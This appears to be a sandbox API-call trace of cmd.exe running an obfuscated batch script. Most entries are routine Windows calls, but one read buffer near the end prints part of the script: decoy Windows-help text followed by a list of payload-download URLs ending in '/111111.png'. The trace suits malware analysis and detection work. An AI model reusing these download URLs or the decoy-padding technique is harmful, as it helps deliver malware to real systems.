[0233.229] GetLastError () returned 0x2 [0233.229] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.229] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.229] GetLastError () returned 0x2 [0233.229] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.230] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.230] GetLastError () returned 0x2 [0233.230] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.230] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.230] GetLastError () returned 0x2 [0233.230] ??_V@YAXPEAX@Z () returned 0x1 [0233.230] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0233.233] malloc (_Size=0xffce) returned 0x20b0fa70920 [0233.233] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0233.233] malloc (_Size=0xffce) returned 0x20b0fa80900 [0233.233] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0233.234] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0233.234] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0233.234] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0233.234] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0233.234] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0233.234] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0233.234] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0233.234] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0233.234] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0233.234] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0233.234] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0233.234] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0233.234] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0233.234] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0233.234] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0233.234] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0233.234] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0233.234] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0233.234] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0233.234] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0233.234] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0233.234] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0233.234] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0233.234] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0233.234] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0233.234] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0233.234] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0233.234] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0233.234] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0233.234] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0233.235] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0233.235] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0233.235] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0233.235] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0233.235] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0233.235] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0233.235] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0233.235] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0233.235] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0233.235] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0233.235] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0233.235] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0233.235] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0233.235] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0233.235] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0233.235] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0233.235] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0233.235] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0233.235] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0233.235] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0233.235] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0233.235] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0233.235] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0233.235] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0233.235] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0233.235] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0233.235] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0233.235] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0233.235] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0233.235] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0233.235] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0233.235] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0233.236] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0233.236] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0233.236] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0233.236] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0233.236] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0233.236] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0233.236] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0233.236] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0233.236] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0233.236] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0233.236] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0233.236] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0233.236] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0233.236] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0233.236] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0233.236] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0233.236] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0233.236] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0233.236] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0233.237] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0233.237] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0233.237] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0233.237] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0233.237] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0233.237] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0233.237] ??_V@YAXPEAX@Z () returned 0x1 [0233.237] GetProcessHeap () returned 0x20b0f920000 [0233.237] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0233.237] GetProcessHeap () returned 0x20b0f920000 [0233.237] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb8) returned 0x20b0f926ea0 [0233.237] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0233.237] malloc (_Size=0xffce) returned 0x20b0fa80900 [0233.238] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0233.238] GetProcessHeap () returned 0x20b0f920000 [0233.238] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0233.239] SetErrorMode (uMode=0x0) returned 0x0 [0233.239] SetErrorMode (uMode=0x1) returned 0x0 [0233.239] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0233.239] SetErrorMode (uMode=0x0) returned 0x1 [0233.240] GetProcessHeap () returned 0x20b0f920000 [0233.240] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0233.240] GetProcessHeap () returned 0x20b0f920000 [0233.240] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0233.240] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0233.240] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0233.240] GetProcessHeap () returned 0x20b0f920000 [0233.240] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947c10 [0233.240] GetProcessHeap () returned 0x20b0f920000 [0233.240] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0233.240] GetProcessHeap () returned 0x20b0f920000 [0233.240] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0233.240] GetProcessHeap () returned 0x20b0f920000 [0233.240] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0233.240] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0233.240] GetProcessHeap () returned 0x20b0f920000 [0233.240] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947280 [0233.240] GetProcessHeap () returned 0x20b0f920000 [0233.240] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947280, Size=0x7e) returned 0x20b0f956910 [0233.240] GetProcessHeap () returned 0x20b0f920000 [0233.240] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956910) returned 0x7e [0233.240] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.240] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cdf0 [0233.241] FindClose (in: hFindFile=0x20b0f92cdf0 | out: hFindFile=0x20b0f92cdf0) returned 1 [0233.241] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.241] GetLastError () returned 0x2 [0233.241] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.241] GetLastError () returned 0x2 [0233.241] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.242] GetLastError () returned 0x2 [0233.242] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.242] GetLastError () returned 0x2 [0233.242] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.242] GetLastError () returned 0x2 [0233.242] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.242] GetLastError () returned 0x2 [0233.242] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.242] GetLastError () returned 0x2 [0233.242] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.243] GetLastError () returned 0x2 [0233.243] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.243] GetLastError () returned 0x2 [0233.243] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.243] GetLastError () returned 0x2 [0233.243] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.243] GetLastError () returned 0x2 [0233.243] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.243] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.244] GetLastError () returned 0x2 [0233.244] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.244] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cd90 [0233.244] FindClose (in: hFindFile=0x20b0f92cd90 | out: hFindFile=0x20b0f92cd90) returned 1 [0233.244] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.244] GetLastError () returned 0x2 [0233.244] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.244] GetLastError () returned 0x2 [0233.245] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.245] GetLastError () returned 0x2 [0233.245] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.245] GetLastError () returned 0x2 [0233.245] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.245] GetLastError () returned 0x2 [0233.245] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.245] GetLastError () returned 0x2 [0233.245] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.245] GetLastError () returned 0x2 [0233.246] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.246] GetLastError () returned 0x2 [0233.246] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.246] GetLastError () returned 0x2 [0233.246] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.246] GetLastError () returned 0x2 [0233.246] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.247] GetLastError () returned 0x2 [0233.247] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.247] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.247] GetLastError () returned 0x2 [0233.247] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.247] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.247] GetLastError () returned 0x2 [0233.247] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.247] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.248] GetLastError () returned 0x2 [0233.248] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.248] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.248] GetLastError () returned 0x2 [0233.248] ??_V@YAXPEAX@Z () returned 0x1 [0233.249] _get_osfhandle (_FileHandle=2) returned 0x54 [0233.249] GetFileType (hFile=0x54) returned 0x2 [0233.249] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0233.249] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0233.249] _get_osfhandle (_FileHandle=2) returned 0x54 [0233.249] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0233.249] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0233.250] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0233.250] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0233.256] ??_V@YAXPEAX@Z () returned 0x1 [0233.257] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.257] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0233.257] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.258] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0233.258] _get_osfhandle (_FileHandle=0) returned 0x4c [0233.258] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0233.258] SetConsoleInputExeNameW () returned 0x1 [0233.258] GetConsoleOutputCP () returned 0x1b5 [0233.259] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0233.259] SetThreadUILanguage (LangId=0x0) returned 0x409 [0233.259] ??_V@YAXPEAX@Z () returned 0x1 [0233.261] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0233.261] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0233.261] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.261] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5449, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1549 [0233.261] GetProcessHeap () returned 0x20b0f920000 [0233.261] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956910) returned 1 [0233.261] GetProcessHeap () returned 0x20b0f920000 [0233.261] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0233.261] GetProcessHeap () returned 0x20b0f920000 [0233.261] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947c10) returned 1 [0233.261] GetProcessHeap () returned 0x20b0f920000 [0233.261] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0233.261] GetProcessHeap () returned 0x20b0f920000 [0233.261] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0233.261] GetProcessHeap () returned 0x20b0f920000 [0233.261] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0233.261] GetProcessHeap () returned 0x20b0f920000 [0233.261] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956ac0) returned 1 [0233.261] GetProcessHeap () returned 0x20b0f920000 [0233.261] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0233.261] GetProcessHeap () returned 0x20b0f920000 [0233.261] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9476d0) returned 1 [0233.262] GetProcessHeap () returned 0x20b0f920000 [0233.262] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0233.263] GetProcessHeap () returned 0x20b0f920000 [0233.263] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9259d0) returned 1 [0233.263] GetProcessHeap () returned 0x20b0f920000 [0233.263] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0233.263] GetProcessHeap () returned 0x20b0f920000 [0233.263] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0233.263] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.263] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1549 [0233.263] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x26c, lpOverlapped=0x0) returned 1 [0233.264] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15b0 [0233.264] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=103, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 103 [0233.264] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.264] GetFileType (hFile=0x9c) returned 0x1 [0233.264] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.264] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15b0 [0233.264] 